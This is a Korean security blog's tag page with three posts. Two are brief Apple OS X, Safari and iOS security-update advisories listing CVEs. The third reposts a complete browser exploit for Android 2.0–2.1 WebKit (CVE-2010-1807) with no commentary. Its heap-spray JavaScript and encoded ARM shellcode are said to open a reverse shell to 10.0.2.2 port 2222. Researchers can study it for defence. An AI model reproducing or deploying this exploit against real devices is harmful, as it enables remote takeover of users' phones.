'Webkit'에 해당되는 글 3건

  1. 2016.09.07 Apple(OS X Yosemite, OS X El Capitan, Safari) 보안 업데이트
  2. 2016.01.21 Apple(iOS) 보안 업데이트
  3. 2010.11.08 Android 2.0-2.1 WebKit 원격코드실행 취약점
2016.09.07 06:30

Apple(OS X Yosemite, OS X El Capitan, Safari) 보안 업데이트

2016.09.07 06:30 in 스마트폰 (Smart)

□ 개요
 o Apple 社는 자사 제품에서 발견된 임의코드 실행 및 원격제어 가능 취약점을 해결한 보안 업데이트를 발표[1]
 o 공격자가 취약점을 이용하여 피해를 발생시킬 수 있어 해당 Apple 제품들을 사용하는 이용자들은 최신버전으로 업데이트 권고
 
□ 내용
 o OS X의 Kernel에서 발생하는 메모리 손상 취약점(CVE-2016-4655)
 o OS X의 Kernel에서 발생하는 권한 상승 취약점(CVE-2016-4656)
 o Safari의 Webkit에서 발생하는 임의 코드 실행 취약점 (CVE-2016-4657)
 
□ 대상 시스템
 o OS X
  - OS X Yosemite 10.10.5 미만 버전 [1]
  - OS X EI Capitan 10.11.6 미만 버전 [1]
 o Safari
  - Safari 9.1.3 미만 버전 [2]

□ 해결 방안
 o OS X Yosemite 사용자 – 10.10.5 버전으로 업데이트
 o OS X EI Capitan 사용자 – 10.11.6 버전으로 업데이트
 o Safari 사용자 – 9.1.3 버전으로 업데이트
  - 홈페이지 직접 설치 : http://support.apple.com/downloads/ 링크에서 해당 버전을 다운로드하여 업데이트 진행
  - 맥 앱스토어 이용 : 애플 메뉴에서 [소프트웨어 업데이트] 선택

□ 기타 문의사항
 o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118

[참고사이트]
[1] https://support.apple.com/en-us/HT207130
[2] https://support.apple.com/en-us/HT207131

저작자표시비영리변경금지

Posted by 날으는물고기
Tag Apple, hi.pe.kr, Kernal, OS X, Safari, Webkit, 권한상승, 메모리손상, 물고기, 보안업데이트, 스마트폰, 임의코드실행, 취약점
Trackback 1 Comment 0
2016.01.21 19:12

Apple(iOS) 보안 업데이트

2016.01.21 19:12 in 스마트폰 (Smart)

□ 개요
 o Apple社에서 자사 제품에 대해 다수의 취약점을 해결한 보안업데이트를 공지

 o 공격자가 취약점을 이용하여 피해를 발생시킬 수 있어 해당 Apple 제품을 사용하는 이용자들은 최신버전으로 업데이트 권고

 o 커널 권한으로 임의 코드 실행을 할 수 있는 등의 취약점 등
  - iOS의 Disk images에서 발생하는 메모리 손상 취약점(CVE-2016-1717)
  - iOS의 IOHIDFamily에서 발생하는 메모리 손상  취약점(CVE-2016-1719)
  - iOS의 IOKit에서 발생하는 메모리 손상  취약점(CVE-2016-1720)
  - iOS의 Kernel에서 발생하는 메모리 손상  취약점(CVE-2016-1721)
  - iOS의 libxslt에서 발생하는 타입 컨퓨젼 취약점(CVE-2015-7995)
  - iOS의 syslog에서 발생하는 메모리 손상  취약점(CVE-2016-1722)
  - iOS의 Webkit에서 발생되는 다중 메모리 손상 취약점(CVE-2016-1723~1727)
  - iOS의 Webkit CSS에서 발생하는 정보유출 취약점(CVE-2016-1728)
  - iOS의 WebSheet에서 발생하는 정보유출 취약점(CVE-2016-1730)


□ 해당 시스템

 o iOS

  - iOS 9.2.1 미만 버전[1]


□ 해결 방안

 o iOS 사용자 -  최신 9.2.1 버전으로 업데이트

  - [설정]→[일반]→[소프트웨어업데이트] 선택→[다운로드 및 설치]→[동의] 선택하여 업데이트


□ 기타 문의사항

 o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118


[참고사이트]

[1] https://support.apple.com/en-us/HT205732

저작자표시비영리변경금지

Posted by 날으는물고기
Tag Apple, hi.pe.kr, ios, Webkit, 물고기, 보안업데이트, 스마트폰, 취약점
Trackback 0 Comment 0
2010.11.08 19:01

Android 2.0-2.1 WebKit 원격코드실행 취약점

2010.11.08 19:01 in 스마트폰 (Smart) 
Webkit Floating Point Datatype Remote Code Execution Vulnerability

<html>
<head>
<script>
// bug   =  webkit code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
//           listed as a safari bug but also works on android :)
//tested =  moto droid 2.0.1 , moto droid 2.1 , emulater 2.0 - 2.1
//patched=  android 2.2
//author =   mj
// hardcoded to return a shell to 10.0.2.2 port 2222
//
function sploit(pop)
        {
        var span = document.createElement("div");
        document.getElementById("pwn").appendChild(span);
        span.innerHTML = pop;
        }
function heap()
        {      
        var scode = 
unescape("\u3c84\u0057\u3c80\u0057\u3c7c\u0057\u3c78\u0057\u3c74\u0057\u3c70\u0057\u3c6c\u0057\u3c68\u0057\u3c64\u0057\u3c60\u0057\u3c5c\u0057\u3c58\u0057\u3c54\u0057\u3c50\u0057\u3c4c\u0057\u3c48\u0057\u3c44\u0057\u3c40\u0057\u3c3c\u0057\u3c38\u0057\u3c34\u0057\u3c30\u0057\u3c2c\u0057\u3c28\u0057\u3c24\u0057\u3c20\u0057\u3c1c\u0057\u3c18\u0057\u3c14\u0057\u3c10\u0057\u3c0c\u0057\u3c08\u0057\u3c04\u0057\u3bfc\u0057\u3bfc\u0057\u3bf8\u0057\u3bf4\u0057\u3bf0\u0057\u3bec\u0057\u3be8\u0057\u3be4\u0057\u3be0\u0057\u3bdc\u0057\u3bd8\u0057\u3bd4\u0057\u3bd0\u0057\u3bcc\u0057\u3bc8\u0057\u3bc4\u0057\u3bc0\u0057\u3bbc\u0057\u3bb8\u0057\u3bb4\u0057\u3bb0\u0057\u3bac\u0057\u3ba8\u0057\u3ba4\u0057\u3ba0\u0057\u3b9c\u0057\u3b98\u0057\u3b94\u0057\u3b90\u0057\u3b8c\u0057\u3b88\u0057\u3b84\u0057\u3b80\u0057\u3b7c\u0057\u3b78\u0057\u3b74\u0057\u3b70\u0057\u3b6c\u0057\u3b68\u0057\u3b64\u0057\u3b60\u0057\u3b5c\u0057\u3b58\u0057\u3b54\u0057\u3b50\u0057\u3b4c\u0057\u3b48\u0057\u3b44\u0057\u3b40\u0057\u3b3c\u0057\u3b38\u0057\u3b34\u0057\u3b30\u0057\u3b2c\u0057\u3b28\u0057\u3b24\u0057\u3b20\u0057\u3b1c\u0057\u3b18\u0057\u3b14\u0057\u3b10\u0057\u3b0c\u0057\u3b08\u0057\u3b04\u0057\u3afc\u0057\u3afc\u0057\u3af8\u0057\u3af4\u0057\u3af0\u0057\u3aec\u0057\u3ae8\u0057\u3ae4\u0057\u3ae0\u0057\u3adc\u0057\u3ad8\u0057\u3ad4\u0057\u3ad0\u0057\u3acc\u0057\u3ac8\u0057\u3ac4\u0057\u3ac0\u0057\u3abc\u0057\u3ab8\u0057\u3ab4\u0057\u3ab0\u0057\u3aac\u0057\u3aa8\u0057\u3aa4\u0057\u3aa0\u0057\u3a9c\u0057\u3a98\u0057\u3a94\u0057\u3a90\u0057\u3a8c\u0057\u3a88\u0057\u3a84\u0057\u3a80\u0057\u3a7c\u0057\u3a78\u0057\u3a74\u0057\u3a70\u0057\u3a6c\u0057\u3a68\u0057\u3a64\u0057\u3a60\u0057\u3a5c\u0057\u3a58\u0057\u3a54\u0057\u3a50\u0057\u3a4c\u0057\u3a48\u0057\u3a44\u0057\u3a40\u0057\u3a3c\u0057\u3a38\u0057\u3a34\u0057\u3a30\u0057\u3a2c\u0057\u3a28\u0057\u3a24\u0057\u3a20\u0057\u3a1c\u0057\u3a18\u0057\u3a14\u0057\u3a10\u0057\u3a0c\u0057\u3a08\u0057\u3a04\u0057\u39fc\u0057\u39fc\u0057\u39f8\u0057\u39f4\u0057\u39f0\u0057\u39ec\u0057\u39e8\u0057\u39e4\u0057\u39e0\u0057\u39dc\u0057\u39d8\u0057\u39d4\u0057\u39d0\u0057\u39cc\u0057\u39c8\u0057\u39c4\u0057\u39c0\u0057\u39bc\u0057\u39b8\u0057\u39b4\u0057\u39b0\u0057\u39ac\u0057\u39a8\u0057\u39a4\u0057\u39a0\u0057\u399c\u0057\u3998\u0057\u3994\u0057\u3990\u0057\u398c\u0057\u3988\u0057\u3984\u0057\u3980\u0057\u397c\u0057\u3978\u0057\u3974\u0057\u3970\u0057\u396c\u0057\u3968\u0057\u3964\u0057\u3960\u0057\u395c\u0057\u3958\u0057\u3954\u0057\u3950\u0057\u394c\u0057\u3948\u0057\u3944\u0057\u3940\u0057\u393c\u0057\u3938\u0057\u3934\u0057\u3930\u0057\u392c\u0057\u3928\u0057\u3924\u0057\u3920\u0057\u391c\u0057\u3918\u0057\u3914\u0057\u3910\u0057\u390c\u0057\u3908\u0057\u3904\u0057\u38fc\u0057\u38fc\u0057\u38f8\u0057\u38f4\u0057\u38f0\u0057\u38ec\u0057\u38e8\u0057\u38e4\u0057\u38e0\u0057\u38dc\u0057\u38d8\u0057\u38d4\u0057\u38d0\u0057\u38cc\u0057\u38c8\u0057\u38c4\u0057\u38c0\u0057\u38bc\u0057\u38b8\u0057\u38b4\u0057\u38b0\u0057\u38ac\u0057\u38a8\u0057\u38a4\u0057\u38a0\u0057\u389c\u0057\u3898\u0057\u3894\u0057\u3890\u0057\u388c\u0057\u3888\u0057\u3884\u0057\u3880\u0057\u387c\u0057\u3878\u0057\u3874\u0057\u3870\u0057\u386c\u0057\u3868\u0057\u3864\u0057\u3860\u0057\u385c\u0057\u3858\u0057\u3854\u0057\u3850\u0057\u384c\u0057\u3848\u0057\u3844\u0057\u3840\u0057\u383c\u0057\u3838\u0057\u3834\u0057\u3830\u0057\u382c\u0057\u3828\u0057\u3824\u0057\u3820\u0057\u381c\u0057\u3818\u0057\u3814\u0057\u3810\u0057\u380c\u0057\u3808\u0057\u3804\u0057\u37fc\u0057\u37fc\u0057\u37f8\u0057\u37f4\u0057\u37f0\u0057\u37ec\u0057\u37e8\u0057\u37e4\u0057\u37e0\u0057\u37dc\u0057\u37d8\u0057\u37d4\u0057\u37d0\u0057\u37cc\u0057\u37c8\u0057\u37c4\u0057\u37c0\u0057\u37bc\u0057\u37b8\u0057\u37b4\u0057\u37b0\u0057\u37ac\u0057\u37a8\u0057\u37a4\u0057\u37a0\u0057\u379c\u0057\u3798\u0057\u3794\u0057\u3790\u0057\u378c\u0057\u3788\u0057\u3784\u0057\u3780\u0057\u377c\u0057\u3778\u0057\u3774\u0057\u3770\u0057\u376c\u0057\u3768\u0057\u3764\u0057\u3760\u0057\u375c\u0057\u3758\u0057\u3754\u0057\u3750\u0057\u374c\u0057\u3748\u0057\u3744\u0057\u3740\u0057\u373c\u0057\u3738\u0057\u3734\u0057\u3730\u0057\u372c\u0057\u3728\u0057\u3724\u0057\u3720\u0057\u371c\u0057\u3718\u0057\u3714\u0057\u3710\u0057\u370c\u0057\u3708\u0057\u3704\u0057\u36fc\u0057\u36fc\u0057\u36f8\u0057\u36f4\u0057\u36f0\u0057\u36ec\u0057\u36e8\u0057\u36e4\u0057\u36e0\u0057\u36dc\u0057\u36d8\u0057\u36d4\u0057\u36d0\u0057\u36cc\u0057\u36c8\u0057\u36c4\u0057\u36c0\u0057\u36bc\u0057\u36b8\u0057\u36b4\u0057\u36b0\u0057\u36ac\u0057\u36a8\u0057\u36a4\u0057\u36a0\u0057\u369c\u0057\u3698\u0057\u3694\u0057\u3690\u0057\u368c\u0057\u3688\u0057\u3684\u0057\u3680\u0057\u367c\u0057\u3678\u0057\u3674\u0057\u3670\u0057\u366c\u0057\u3668\u0057\u3664\u0057\u3660\u0057\u365c\u0057\u3658\u0057\u3654\u0057\u3650\u0057\u364c\u0057\u3648\u0057\u3644\u0057\u3640\u0057\u363c\u0057\u3638\u0057\u3634\u0057\u3630\u0057\u362c\u0057\u3628\u0057\u3624\u0057\u3620\u0057\u361c\u0057\u3618\u0057\u3614\u0057\u3610\u0057\u360c\u0057\u3608\u00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\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002\uae08\u000a\u0202\u2000\u2000")
        do {
          scode += scode;
        } while(scode.length < 0x1000);
        target = new Array();
        for(i = 0; i < 1000; i++)
           target[i] = scode;
        for (i = 0; i <= 1000; i++)
        {
                if (i>999)
        {
        sploit(-parseFloat("NAN(ffffe00572c60)"));
        }
        document.write("The targets!! " + target[i]);
        document.write("<br />");
        }
}
</script>
</head>
<body id="pwn">
woot
<script>
heap();
</script>
</body>
</html>
출처 : http://www.securityfocus.com/
저작자표시

Posted by 날으는물고기
Tag Android, hi.pe.kr, Remote Code Execution, Vulnerability, Webkit, 물고기, 스마트폰, 안드로이드, 원격코드실행, 취약점
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